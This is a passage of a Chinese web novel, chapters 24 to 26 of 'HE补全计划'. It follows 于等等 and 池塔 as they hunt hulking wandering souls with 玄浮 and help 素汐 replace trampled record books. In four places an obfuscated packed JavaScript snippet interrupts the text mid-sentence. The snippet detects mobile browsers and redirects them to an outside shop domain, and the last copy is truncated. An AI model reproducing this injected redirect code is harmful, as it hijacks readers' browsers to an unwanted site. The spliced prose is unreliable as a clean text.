“她……为什么让你看这些?白无常殿走的文科路线?” 元宝把书放回去:“我总觉得,素练好像知道点什么。” “怎么说?” “她给的那些理由太牵强了。‘故人之后’、‘年轻人好奇’,这些说辞,连池塔都骗不过。” 无辜躺枪的池塔忍住翻白眼的冲动:“……喂。” 其实于等等也觉得素练的反应不太对。 从她说“我殿里的小辈”开始,一切就顺畅得不像话,甚至还主动帮他们几个打圆场。 玄墨一开始的敌意那么明显,素练几句话,他居然真的没再追问,他们三个居然也真的成功混了进来。 本来还想着怎么接近主角呢,现在好了,直接打入内部了! 玄墨可是第一黑无常诶,她可不信活了几千年的第一黑无常,能被全是破绽的几句话糊弄过去。 “算了,先不想这个。”于等等甩甩头,“一会儿我要去公务堂领任务,看看能不能顺便打听点情报。” “那我呢?”池塔问。 “当然是和我一起啦。你是我的随从,随从就要有随从的觉悟。” 池塔:“……” “行吧。随从就随从,至少能搭个伙。” 他可不想在这种全员都有特殊能力的地方落单。 于等等满意地拍了拍他的肩膀,转头看向元宝。 “那……之后随时同步情报?” “嗯。” 于等等正要挂断视频,又想起什么:“对了,书看完记得跟我分享一下重点。” 元宝弯了下嘴角:“会的。” “看不完也别勉强,实在不行,咱们呼唤指导员!” 于等等相信,就算正月真把他们扔在这个幻境里不管了,魏今安也肯定会出手捞他们一把的! 不能小看任何一个CP粉! “好~”元宝还在笑。 不仅没有五官扭曲,甚至…… 怪好看的。 于等等在内心中肯地评价。 视频挂断。 她盯着黑下去的屏幕,深吸一口气。 “走吧,干活了!” ———————————— 于等等原以为公务堂也会和之前院子里那样热闹。 到现场一看,她差点以为自己走错了片场。 偌大的厅堂里,三四个官差坐在案桌后,各自埋头处理手头的事务,偶尔低声交谈几句,连咳嗽都压着嗓子。 墙壁上挂满了任务木牌,从甲级到丁级,按颜色区分,排得满满当当。 于等等和池塔都下意识放轻了脚步,正琢磨着去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358754|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿领任务,就听见角落传来一阵略带焦急的声音。 “大人,您再帮我看看,这任务我是真接不了。” 说话的是个膀大腰圆的黑无常,长得五大三粗,往那一站跟小山似的,偏偏表情委屈得像个两百斤的孩子。 案桌后的官差脸拉得老长,翻着手里的册子,头都没抬:“任务已经批了,改不了。” “可我一个人完成不了啊!” “那就找个人一起。” “现在大家手里都领着任务,哪有闲人?”壮汉黑无常的声音更急了。 “大人,您通融通融,给我换个难度低点的,丙级也行啊!” 长脸官差终于舍得抬头,面上没有丝毫波动:“现在只有这种类型的任务了。你加油。” 壮汉黑无常:“……” 看来漫画里的地府职场也不容易啊。 于等等撇了下嘴,寻思热闹看的差不多了,便悄悄挪着步子,打算绕到另一个案桌前接点适合新人的任务,就听见一声浑厚的: “新人!是你啊!” 于等等:“……” 她机械地转身:“嗨,你好。” 尴尬而不失礼貌的微笑。 她瞥见这壮汉第一眼就认出来了。 他就是刚刚在院子里,第一个凑过来打听玄墨和素练八卦的那个。 至于为什么记得这么清…… 实在是因为这黑无常长得简直就是张飞本飞啊!从外貌到气质到说话语气,根本就是一个模子里刻出来的! “你好你好!”壮汉黑无常热情地凑过来,“你也是来领任务的?” “啊……对。” “那太好了!” 他蒲扇大的手一把抓住于等等的胳膊,把她往案桌带,步子迈得虎虎生风,“来来来,咱俩一起!” 于等等:“???” 池塔也瞪大了眼睛,还没来得及说话阻拦,壮汉已经把于等等拽到了长脸官差前,任务牌往案桌上一拍,中气十足: “大人,我们两个人一起!” 不是,我答应了吗? 你就两个人一起?? 长脸官差目光从于等等身上扫过,又落在他身后安静如鸡的池塔身上。 “两个?那是三个。” “他是随从,随从不占名额。” 壮汉黑无常脱口而出。 池塔:“……” 他堂堂池塔,从小到大走到哪儿都是人群焦点的男人,现在连人头都算不上了? 他低头看了看自己那身灰扑扑的短打。 …… 论穿搭的重要性。 于等等可没他这么淡定:“等一下,我刚来,什么都不——” “没事,我教你!” 壮汉拍了拍胸脯,那力道于等等怀疑他能把自己拍出内伤。 “新人嘛,总要有人带的!这任务就是收集游魂,主要就是数量多,没什么难度的!” 长脸官差拿出册子,推到两人面前:“决定了就登记。” “决定了决定了!”壮汉拿起笔签下了名字。 玄浮。 列车。 于等等在心里偷偷补充。 不过没想到,这人看着五大三粗,笔迹居然还挺清秀。 她等着玄浮签完,准备接过笔签自己的名字,就见玄浮已经另起一列,把她的名字也给签了。 “……你知道我叫啥?” “哎呀,你现在在我们殿里可出名了!” 那长脸官差瞥见册子上的名字,表情也难得有了变化,眼神闪烁了一下,又赶紧收了回去。 于等等:“……” 倒也不必这么出名。 还有,这位官差,不用装了,你刚刚那眼神,我熟得很。 玄浮把册子递还给长脸官差,笑得满脸灿烂: “很好,完美!” 完美个鬼!! 她就知道,她不该站在旁边看热闹。 余光里,池塔正捂着肩膀,一抖一抖的。 于等等面无表情地瞪了他一眼。 笑屁。 你个随从。 24.HE补全计划 于等等低头看了眼任务牌:【巡查西郊边境,清点游魂数量并回收,排查异常】。 她又抬头看了看眼前的景象。 荒凉。广阔。 一眼望不到头的灰色荒原,连棵草都没有,偶尔刮过一阵风,卷起几粒沙尘,打在脸上还有点疼。 周围零星飘着几道游魂,慢悠悠地晃荡,看着挺安分。 西郊边境,没错。 游魂,也没错。 但是…… 为什么没有人告诉她,这些游魂的画风是这样的啊?! 于等等盯着不远处飘过去的那个游魂,突然就觉得5%进度也挺好,这主线不做也罢。 就眼前的这些游魂,最矮的也有两米高,各个膀大腰圆,胳膊比她腰还粗,一个个凶神恶煞。 有几个手里还拿着不知道从哪里捡来的破铜烂铁当武器,走起路来虎虎生风。 这哪是游魂啊,这简直就是健身房里练了十年的教练猝死之后接着练啊! “那个,你管这叫没什么难度?”于等等不可置信。 “对呀,就是数量多了点嘛。”玄浮理所当然。 行吧,她算是看明白了。 难怪那长脸官差会把这个任务安排给玄浮,这是看上了他的体型。但凡换个身板弱一点的来,于等等怀疑那游魂一巴掌就能把人扇飞。 “确定要把这些全部抓完?”她试探着向玄浮确认。 “当然不是。” 于等等松了口气。 然后她就见玄浮挥了挥胳膊,掌心浮现出一团黑色光晕,越拧越大,最后凝聚成一根狼牙棒。 没错,狼牙棒。 通体漆黑,布满尖刺,拿在玄浮手里,配上那张张飞本尊的脸,简直浑然天成。 还好现场没有桃树,不然她真怕玄浮拉着她和池塔,原地来个荒原三结义。 玄浮把狼牙棒在手上挥舞了一圈,往另一个方向一指:“那里还有一片呢。” 于等等顺着方向看过去。 另一片荒原上,密密麻麻飘着至少几百个同样魁梧的游魂。 于等等:“……” 她终于知道为什么一个抓游魂的任务能被分配到乙级了。 这体型,这数量,不是乙级天理难容!!! 还有啊,她刚进幻境的时候看到的那些黑无常,手里拿的明明都是哭丧棒好吗?怎么就您拿个狼牙棒呢? 玄浮似乎注意到于等等一直盯着自己的法器看,炫耀式地又舞了一圈:“怎么样,帅吧?哭丧棒的改良版。” “改良版?”资深游戏迷池塔眼睛发亮地凑过来,“这里的法器还能换皮肤?” “什么皮肤?”玄浮一脸茫然。 “就是……换外形!”池塔翻腾出一个感觉玄浮应该能理解的词。 “哦,当然不能随便换。” 玄浮自豪地拍着胸脯,“我这是之前立了大功,玄墨大人奖赏给我的,比哭丧棒好用多了。” 像是特意要展示给于等等看似的,他几步跨到最近的一个游魂面前。那游魂还没反应过来,狼牙棒已经招呼上去。 “砰”的一声,游魂应声倒地,晕得明明白白。 玄浮不慌不忙地用锁链一套,游魂化作光点,飞进了任务木牌里。 “哭丧棒那玩意儿只能打打普通游魂,像这种凶神恶煞的,还是得用点蛮力。” …… 您也知道这些游魂凶神恶煞啊,刚刚是谁跟我说任务简单的? “对了,你的法器呢?准备开工了,怎么还不拿出来?” 玄浮看向于等等。 于等等把胳膊上缠绕的锁魂链取下来,在手里晃了晃:“这个呀。” 玄浮盯着那条细细的链子,脸上的表情从期待变成困惑,从困惑变成难以置信。 “……这不是装饰品吗?” 于等等:“???” “不是,这就是法器啊!正儿八经的那种!” 玄浮的表情还是很微妙。 他看了看远处的游魂,又看了看于等等手里那根细细的链子,最后用一种“我该怎么委婉地告诉你这玩意儿可能不够用”的语气开口。 “那个……它结实吗?” “当然结实!”于等等不服气地挺起胸。 这可是现代化地府出品,自动瞄准,比你们这种只能手动的武器厉害多了好吗! 她瞄准不远处的一个游魂,扬手一甩,链子精准缠上了那游魂粗壮的脖子。 然后她就看见那个游魂缓缓转头,凶神恶煞地瞪着她。 于等等:“……” 难道非得用狼牙棒吗?! 那游魂已经怒气冲冲地朝她冲过来,边冲嘴里边嚎叫。 于等等吓得一把松了链子,转头就跑。 正在围观看戏的池塔,瞧见于等等朝自己跑过来,吓得腿差点软了,他想也不想跟着掉头就跑! “你不是随从吗!随从不护主啊!好歹分两头跑吸引下火力呀!” 于等等边跑边骂。 池塔的声音从风里飘过来: “我是文职随从!不负责打架!” 玄浮的狼牙棒从他们头顶“嗖”地飞过去,一声闷响,嚎叫声戛然而止。 于等等停下来,喘着气回头。 池塔扶着膝盖,喘得比她还厉害。 玄浮把锁魂链捡回来还给于等等,语重心长:“你这法器吧,怎么说呢……收尾挺合适的。” ……收尾? 正心有余悸的于等等脑子灵光一闪。 “池塔~~”她转向池塔,笑得眉眼弯弯。 ———————————— 池塔觉得这辈子做的最错误的决定,就是为了给于等等加油,参加了这个破漫展。 不然,也不至于被卷到这个破地方。 他背靠一块半人高的石头,看着面前那二十几个比他高了好几个头、个个凶神恶煞的游魂,腿肚子都在打颤。 事情是怎么发展成现在这个样子的,他也不知道。 就记得于等等朝他笑了一下。 没错,是那种准备坑死他的笑。 然后他就莫名其妙并且理所当然地被安上了“诱饵”的身份。 “这里就你没有法力。在那些游魂眼里,你就是一块三肥两瘦黄金比例的五花肉。没人比你更合适了,信我!” 于等等眼神真诚。 玄浮托着下巴打量他半天。 池塔寻思他连于等等的法器都看不上,应该更看不上自己这个半毛钱法力都没有的弱鸡才对。 他满眼希冀。 玄浮缓缓张开嘴,浑厚的声音给他下了最后的宣判:“我觉得可以。” 池塔:“……” 妈妈,我想回家。 我不想拯救世界了。 池塔的腿还在哆嗦,于等等的声音从远处飘过来: “池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364332|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔!可以动了!这次往左边跑,左边还有一波!对对对,跑快点!” 中气十足,半点没有刚才被游魂追得乱窜的慌乱。 池塔咬牙往左边猛冲。 他甚至不用回头看,单从地面的震动幅度,以及身后嘶吼的响动来听,就能确认现在身后至少坠了三十个游魂。 四十个也有可能。 “所以我到底为什么要答应啊?于等等,出去了我跟你没完!” 他边跑边嚎。 “好好好,没完。” 于等等没有一丝被威胁到的意思,“不过你现在可是随从,随从要有随从的觉悟!” “我觉悟个鬼!” 池塔觉得自己一米八的个子,腿挺长的,跑起来多少能有点优势吧? 谁知道这些游魂看着敦实,步子迈得是一点也不比他小。 “玄浮前辈!好了没有呀?” 他已经快崩溃了。 “快了快了,再聚拢一点!”玄浮的声音从稍微近一点的地方传来。 池塔咬牙又绕了个圈,把那群游魂往中间带。 “够不够?”他又喊,他已经能听到游魂粗重的喘息声了。 这得有多近啊?! “再来一点!” “再来一点我就要没了!” 他是真的不想交代在这里。 他这辈子还没谈过轰轰烈烈的恋爱,还没花完他爸的存款,甚至连今天的丑衣服都还没换下来。 终于,在他一个急转弯之后,身后传来一声巨响。 “砰!” 池塔被震得两腿一软,扑倒在地。 他身后,玄浮已经再次跳到半空,抡圆了手里的狼牙棒,对着这群游魂进行第二波猛砸。 一棒子下去,打晕了三个,波动的气流震晕了七八个。 他又抡了几下,刚才还如狼似虎的游魂,现在一个个像被卡车撞了,倒成一片。 其中几个半晕不晕的挣扎着想爬起来,玄浮又是一棒子扫过去。 全场游魂彻底挺尸。 趴在地上的池塔看着玄浮拍黄瓜似的把这群游魂收拾得服服帖帖,心里只剩下一个念头: 还好这是友军。 “于等等,收!” “来了!”于等等从不远处的一块石头后面跳出来。 胳膊上的锁魂链哗啦啦散开,化作几十道黑影,扑向那群挺尸的游魂。 被缠上的游魂化作小小的光点,萤火虫似的纷纷扬扬,聚到她面前,把她的脸映得忽明忽暗。 她掏出木牌举在面前,那些光点晃悠几圈,不情不愿地飞了进去。 于等等把木牌揣回怀里,又一扬手。 锁魂链重新凝聚,一圈圈缠回她胳膊上,链条上还残留着没有散尽的光晕。 池塔被这个画面震撼到了。 原来还能这样?? 他突然觉得,其实拯救世界也蛮好的。 如果他不是趴在地上的话。 “池塔,你还活着吗?”于等等冲他喊。 “活着。”池塔有气无力。 “那就起来,那边还有一片呢。” “哈?!” 池塔顺着于等等手指的方向看去。 另一片荒原上,密密麻麻飘着游魂,数量比这里只多不少。 他闭上眼睛。 “让我死了算了。” 不对,他已经在地府了,还能死哪儿去? 25.HE补全计划 “好,收工!” 玄浮把狼牙棒往肩上一扛,大步流星地往回走,那架势快赶上包工头收工了。 于等等看着池塔也休息得差不多了,拽着他一起跟了上去。 “哎呀,这种任务,平时就算两个有经验的人组队,也要抓十几个时辰才能完成。没想到今天才两个时辰就清理完了。” 玄浮边走边感慨,蒲扇大的手在空气里比划。 于等等心想,可不是吗?你负责拍黄瓜,我负责收汁,再加上个黄金比例五花肉当诱饵,这么完美的分工能不快吗? 不过其实还能更快的。 主要是于等等看池塔被追得那可怜样,实在有些于心不忍。 毕竟是发小,不能真给累死。 最后几波,于等等自告奋勇当了诱饵。 可能是她身上的黑无常气息让那些游魂有些忌惮,她不得不先拿锁魂链主动骚扰一下那些游魂,他们才舍得追自己。 慢是慢了点,但好歹良心不会太痛。 “他们传言你抓游魂百发百中,我还以为是在吹牛,没想到啊,这何止是百发百中,这简直就是一发百中!新人,未来可期!” 玄浮扭头看她,那张张飞脸上写满了刮目相看。 “过奖过奖,主要还是诱饵选得好。”于等等谦虚摆手。 “那倒是!你这随从跑得确实快,那几个弯绕的我都佩服。”玄浮看向池塔的眼神里居然带着几分肯定。 腿还有些软的池塔一时不知道该哭还是该笑:“……谢谢前辈夸奖。” “对了,你们平时的任务都是这种吗?”于等等问。 “哪种?” “就是这种量级和数量的。” 于等等回头看了一眼身后的荒原,心有余悸。 “我感觉这种程度的得是比较厉害的黑无常才能胜任吧。我之前在殿里溜达了一圈,你这种体格的好像是独一个。” “其实不是的。”玄浮的语气带了点落寞。 “以前这种游魂有专门的殿负责,那边的人都是针对这种体型的游魂进行过特殊训练的。也是近些年才落到我们殿头上。” “为啥?”池塔也被勾起了好奇心。 “说来话长。” 玄浮把狼牙棒从肩上拿下来,在地上拖着走,棒尖在灰扑扑的石板路上留下一条弯曲的痕迹。 “玄墨大人和素练大人以前是地府最强的黑白无常搭档。那时候我们殿上上下下都跟着沾光,走哪儿都被别人高看一眼。” “后来呢?” 于等等感觉接下来的话题,也许会涉及到一些漫画里没有提到的背景设定,主动做起了捧哏。 “后来啊……” 玄浮长长叹了口气,望着远处灰扑扑的天。 “后来两位大人各自驻守一方,不搭档了。虽然他们单人的实力依然是最强的,但你们也知道,黑白无常这事儿,搭档和不搭档,差别大了去了。” 于等等非常认真地点了点头。 她可太知道了。 就刚刚那些凶神恶煞的游魂,要是元宝在场,先搞个群体净化,再来个招魂幡聚集游魂,最后她出手群攻收人头。 哪里需要两个时辰,二十分钟就能全部搞定。 “所以你们殿现在的处境如何?”池塔试探着问。 “不太好。其他依然有搭档的黑白无常殿,他们配合起来能力不比我们大人单打独斗差,甚至更占优势一些。以前好多任务都是优先派给我们大人的,现在好了,其他殿也跟着抢。” 池塔听得皱眉: “那你们大人……呸,那我们大人不生气吗?” “生气有什么用?”玄浮苦笑。 “玄墨大人早就料到会是现在这个情况,几百年前就主动申请去了驻地。那边艰苦是艰苦了些,但也是阎王最看重的地方。去那里驻守,至少其他殿不会明着欺负咱们。” 于等等想起玄墨那黑着脸的样子。 之前她还觉得这人怎么那么难搞,现在想想,那副冷脸多半是做给外人看的。 但凡气势弱一点,得被打压得更狠。 “大人这次回来还受了伤,我们这些小的是真心疼,但又帮不上忙。就想着这种我们力所能及的任务,能多做就多做些,至少数量上过得去,大人也能少操心些。” “所以,你们希望玄墨大人和素练大人和好,不只是为了嗑CP吧?”池塔慢吞吞地开口。 “嗑CP?”玄浮一脸茫然。 “就是……”池塔有些卡壳。 “就是看到他们俩在一起,你们就会开心。”于等等替他解释。 “哦哦,哎,是呀……”玄墨恍然大悟后又是一阵叹气。 “所以殿里那帮小子今天对你们那么热情,你们也别往心里去。” “我们就是听说你是素练大人推荐来的,都觉得他们是不是还有希望能再次搭档。他们好了,我们殿的处境也就都好了。” “嗯,能理解。”于等等点头。 “其实还有一个原因……” 玄浮不好意思地挠挠头,这表情在他这五大三粗的体型下显得有点滑稽。 “我们太久没见着新人了,今天难得见到一次,还是两个,高兴。” “新人很少吗?” “是啊。那些新人看我们殿一天天没落,都不愿意来,已经好几十年没见着新面孔了。” 于等等和池塔对视了一眼,忽然就觉得心里很不是滋味。 “对了,那素练殿那边呢?情况怎么样?” 玄浮表情更难看了: “白无常的战力本来就没有黑无常高,素练殿那边……比我们还尴尬些。” 果然。 结合玄浮刚刚说的这些局势,素练的主动邀约,还有玄墨对破绽的视而不见,似乎都有了解释。 而且他们现在能看到的,多半只是冰山一角,更深的风云涌动,恐怕只有上位的那拨人才能知晓。 于等等想起素练交代元宝看的那些书。 怕不是答案就在里面。 算了,这种复杂的关系还是交给元宝去理吧,毕竟他看上去就是那种学习很好的人。 她还是负责打架吧! 三人就这么沉默地走了好一会儿,周围的建筑逐渐多起来,身边也偶尔匆匆路过几个官差。 池塔弱弱开口:“那什么,玄浮前辈?” “嗯?” “你刚刚说素练殿比你们殿还惨?” “是啊。” “那你们有没有想过,虽然殿主不能继续搭档了,但你们可以?” “?”玄浮脚步慢下来,“你细说。” “你想啊,素练大人既然把我们塞进来,就说明她和玄墨大人根本就没有矛盾。所以两个殿的小辈走动,他们肯定也不会说什么呀。那你们不如搞个什么联谊……” 不对,玄浮可能听不懂“联谊”是什么意思。 “咳,就是搞个合作,两个殿一起出任务。”他改口。 玄浮面上先是空白,随后慢慢浮上喜色:“我们之前怎么就没想到呢?!” 于等等差点笑出声。 可以啊池塔,这脑回路不愧是你。 “是啊,玄浮前辈,我也觉得这个提议很不错!增进感情从工作开始嘛!”她跟着帮腔。 “有道理有道理!一会儿回殿里,我就跟玄宋大人商量一下!” 沉闷了一路的气氛终于被打破,几人的步伐也轻快了些。 可轻快没几步,附近的巷子里传来一阵低低的呜咽。 几人循声找过去,右侧的小巷里,一个身穿白无常衣服的女子正蹲在地上,一边擦着手里的几本册子,一边抹着眼泪。 听到脚步声,那人吓得肩膀一抖,有些惊恐地朝着巷子口看过来。 于等等见她哭得眼睛通红,怪可怜的,正犹豫要不要上去问两句,边上的玄浮先迈了出去: “素汐?你这是怎么了?” 这是认识? 于等等瞄了眼那女子腰牌上的“素”字,又低头看看自己腰牌上的“玄”字。 得,多半是素练殿的人。 “玄浮前辈……” 那个叫素汐的白无常抬起头,声音里还带着哭腔。 玄浮把她拉起来,粗声粗气:“这是怎么回事?谁弄的?” 素汐抽噎着,断断续续把事情讲了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365943|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍。 原来她今天去判官殿送最近派遣任务的总结册子,路上撞见了潘锦殿和希门殿的同僚。 那几个人瞧见她手里薄薄的几本册子,就开始阴阳怪气。 “哟,素练殿这个月的任务量就这么点儿?” “没办法嘛,殿主自己都跑犄角旮旯驻守去了,下面人能有什么出息?” “啧啧,可惜了,当年那么风光,现在连我们殿的零头都比不上。” 素汐气不过,顶了几句嘴,那几个就抢过她的册子摔在地上,还踩了几脚。 “册子搞成这样,拿回去肯定要被问的。素练大人刚回来,我不想让她因为这种小事烦心……可我也不知道该怎么办……” 素汐眼睛又红了一圈。 于等等和池塔在旁边听着,表情那叫一个一言难尽。 潘锦殿,希门殿…… 这都什么破名字。 “这名字是认真的吗?”池塔还是没忍住吐槽。 “漫画世界,不要在意这些细节。” “那潘金莲和西门庆知道自己在阴间还有分公司吗?” “噗……” 于等等差点笑出声,赶紧掐了自己一把,硬生生憋了回去。 这种气氛下,千万不能笑! 她从素汐手里接过那几本册子,翻了翻。 封皮被踩得皱巴巴的,沾了不少灰,但好在里面的内容没怎么受损。 “不是什么大问题,拆线换个新封皮,再重新装订一下就行。” “封皮上有我们殿的印记,只能用我们殿的封皮换。可是我回去拿新封皮的话,肯定会被问为什么要换……” 于等等托着下巴想了想。 确实有点麻烦。回去拿的话,事情传到素练耳朵里是迟早的事。不拿封皮吧,又交不了差。 总不能真的把这样的册子送到判官殿吧? 她正琢磨着到底要不要帮这个忙,面前跳出一个极其袖珍的光屏提示。 【主线任务进度:6%】 ?! 很好,这下必须得帮了。 她脸上堆起一个真诚的笑容:“素汐,是吧?你们素练殿离这里远吗?” “还、还好,大概两盏茶的路。” “嗯……玄浮前辈,这附近有茶馆吗?”她又看向玄浮。 “有啊,前面拐角就有一家。”玄浮不明所以。 “那太好了!”于等等一拍手,“咱们去茶馆坐会儿,歇歇脚,喝两盏茶……啊不,三盏!” “我现在没心情喝茶……”素汐低着头。 “哎呀,你放心去喝,这个事情交给我!喝完就解决了!” 素汐将信将疑地看着她。 玄浮也一脸狐疑:“你确定?” “确定一定以及肯定!你说是不是,池塔?”她给池塔使眼色。 “是!必须能解决!”池塔一脸笃定。 虽然其实他也不知道于等等有什么办法。 素汐还想再问,玄浮上前一步,拍了拍她的肩膀: “走吧走吧,我请你喝茶。别看这丫头是新人,干起活来确实有两把刷子。” “对呀,而且素练殿的事就是我们玄墨殿的事!反正现在也没别的办法了,你就让我试试呗。” 素汐犹豫了半天,终于被玄浮半哄半拽着往茶馆方向走。 于等等和池塔落后两步。 “所以你打算怎么解决?”池塔凑过来压低声音。 “山人自有妙计~”于等等神秘兮兮地点亮光屏,一边走一边戳。 “嘶……你不会是要——” “嘘——” 玄浮见两人没跟上来,回头正要催,余光瞥见于等等脸上似乎有亮光一闪而过。 想细看时,光又没了。 “怎么了,玄浮前辈?”于等等笑得甜甜的。 玄浮揉了揉眼睛:“没,你们走快点,别掉队。” “好嘞~”于等等小跑两步跟上去。 坠在后面的池塔嘴角抽了抽。 他刚刚可是看得清清楚楚,光屏上显示的,分明是元宝的聊天窗口。 感情她的办法是直接摇人啊! 26.HE补全计划 池塔端着茶壶,尽职尽责地给所有人斟上了第三盏茶。 素汐一脸震惊地看着于等等:“你真的是素练大人送去玄墨殿的黑无常?还真有故人之后啊?” “真的不能再真了!” 指前半句。 “那……是哪位故人?”素汐问得小心翼翼。 于等等:“……” 我哪知道是哪位?你问你家大人去啊! 她端起茶杯,抿了一口,又抿了一口,寻思要不要编个故事糊弄一下,素汐先弱弱地开口了: “对不起,问得有点冒昧……我就是见素练大人这些年一直是一个人,什么事情都自己担着,想着如果是故人的话,能和我们大人多来往下就好了……” “不不不!不冒昧!”于等等赶紧摆手。 话都说到这份上了,不编也得编啊! 她正酝酿措辞,边上的玄浮一把拍在桌上,茶盏都被震得抖了三抖: “等一下!你是黑无常,那你家长辈不会也是黑无常吧?” 于等等:“?”啥意思。 “那素练大人难道要和别的黑无常搭档?”玄浮的声音拔高了八度,“不行!我不同意!” 池塔:“噗——咳咳咳……” 于等等:“……” 不是,谁问你了? 眼看玄浮看她的眼神从“未来可期的新人”变成了“情敌后人”的审视,于等等赶紧摆手: “没有没有!我家长辈是别的体系的,不是地府这边的!” “别的体系?”玄浮狐疑。 “对对对,跟地府完全不沾边的那种!八竿子打不着!”于等等斩钉截铁。 “那就好那就好!” 玄浮欣慰一笑,那变脸速度不去表演川剧可惜了。 素汐也恍然大悟: “难怪素练大人这些年依然独来独往,原来故人不在地府这边。” “是的是的。”糊弄成功,于等等端起杯子打算再抿一口。 “等下!” “啪——” 还是玄浮,这次他拍的是大腿,于等等吓得差点把剩下的茶呼他脸上。 “素练大人把你推荐到玄墨殿,岂不是说!在地府里,素练大人最看重的黑无常还是我们玄墨大人啊!……对吧?” 眼神炽热,差点把于等等烤化。 “对……”于等等小心把茶杯放回桌上。 CP粉真可怕。 玄浮终于满意了,端起茶盏一饮而尽,那张张飞脸上露出了一丝慈祥的微笑。 然后,安静了。 于等等感觉看向自己的炙热眼神又多了一道。 素汐也开始盯着她,一脸期待。 ? 看啥呀?我脸上长花了? 她抬手摸了摸自己的脸,余光瞥见池塔的手伸过来。 第四盏茶满上了。 于等等:“…………………………” 人,不要随便夸海口。 如果夸了,也不要当面。 已经第四盏茶了啊!元宝你人呢!!! 她想发消息问元宝,又不能确定这里的人会不会像池塔一样看到她的系统界面。 不行,得找个没人的地方! 于等等开始在自己腰上掏摸,掏摸两下一脸惊慌地站起来: “哎呀!我的腰牌呢!” “你腰牌不是好好嗷——”池塔说到一半调子就飘了,面部一阵扭曲后,他一脸震惊地接下了后半句: “好好的怎么就没了?!” “对呀!难道是来这里的路上丢了?那可不行,那是玄墨殿的腰牌!”于等等声音拔的更高了。 “天哪,那快去找找!” “好!” 池塔瘸着腿站起来于等等让路,于等等刚迈出一步,玄浮又一拍桌子: “腰牌没了?!” 于等等被吓得一个趔趄。 完了,不会说要和我一起找吧? 千万别说千万别说求求了…… “那你快去找找!”声音浑厚,没有下文。 ? 真没说啊!!! 她转头看向桌对面二人。 玄浮一脸的“我懂我都懂”。 素汐一脸的“就交给你了!我相信你!”。 于等等:“……” 行吧,看来这俩以为她是找借口出去“办大事”的。 虽然她确实是。 瞧瞧这信任度。 她忍不住在心里给素练点了个赞。 “那我去去就回!你们别走啊!” “不走!你慢慢找!” 玄浮大手一挥,于等等庄重地迈向了门口。 于等等溜到茶馆门口,确认左右没人,找了根柱子往后面一缩。 这场景,怎么跟高中那会儿不让带手机、她偷偷躲书桌下面玩手机一模一样? 次元变了,偷感没变。 她戳开元宝的窗口,定位显示就在隔壁的街道。 来都来了,接一下吧。 于等等溜达着步子往定位的方向走,转过街角,一道修长的身影正快步走来。 白无常制服,版型比现代地府的要柔和些,把穿衣之人宽肩窄腰的优点展现得一览无余。帽子比原来的稍微矮点,整体多了分书卷气。 衣摆也更长,步子迈得大时,整个人仿佛自带微风特效。 不得不说,比视频电话里的养眼多了。 于等等满意地点头,顺便把一些被暂时遗忘的特写画面点了出来。 那懵逼无害的表情…… 那清晰的锁骨…… 那线条清晰的腹肌…… …… 于等等非常不耻地咽了口唾沫。 “发什么呆?”元宝抬手在她眼前晃了晃,俯身歪头看她。 靠。 和脑子里的第一张特写重合了。 还是怼脸版。 鼻梁完美,皮肤雪白,一黄一蓝的异色瞳给这张精致的东方脸上增加了点异域风情。 “于等等?” 异域东方脸眨了眨眼,瞳孔随着眨动微微放大又缩小。睫毛煽动,煽在了于等等的心巴上。 “没发呆!思考人生而已!”于等等捂着胸口后退半步,瞧见元宝袖子粘上了一道污迹。 “这里怎么了?”她顺手扯起袖子,污渍处居然还有个破口。 “没事。”元宝把袖子从她手里抽出来,“来的太急,路上不小心蹭到了。” “急什么,茶馆又不会跑。” “是怕你等急。” “我……我还好其实!”就是小小地夸了个海口而已。 她被元宝引着往回走,转身时,余光瞥见街道上躺着几道黑影。 想再细看,手腕处传来一阵温热。 “快走吧,他们应该等半天了吧。”元宝抓着她的手腕,把她往茶馆方向带。 于等等踉跄了半步。 不是因为元宝走得快,单纯是她脑子CPU有点运转过度,腿没跟上。 “嗯……嗯!走!” ———————————— 茶馆里,不大的茶桌上,几本封皮崭新的册子整整齐齐地码在一起。 素汐吐出一口气,面上露出了相遇以来第一个发自内心的笑容。她认真地给于等等和元宝道了谢,把册子重新拿好,稳妥地抱进怀里。 “我先赶紧给判官殿送过去了。恩情我记下了,以后有需要你们随时找我,能帮的我一定帮!” “不用这么客气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 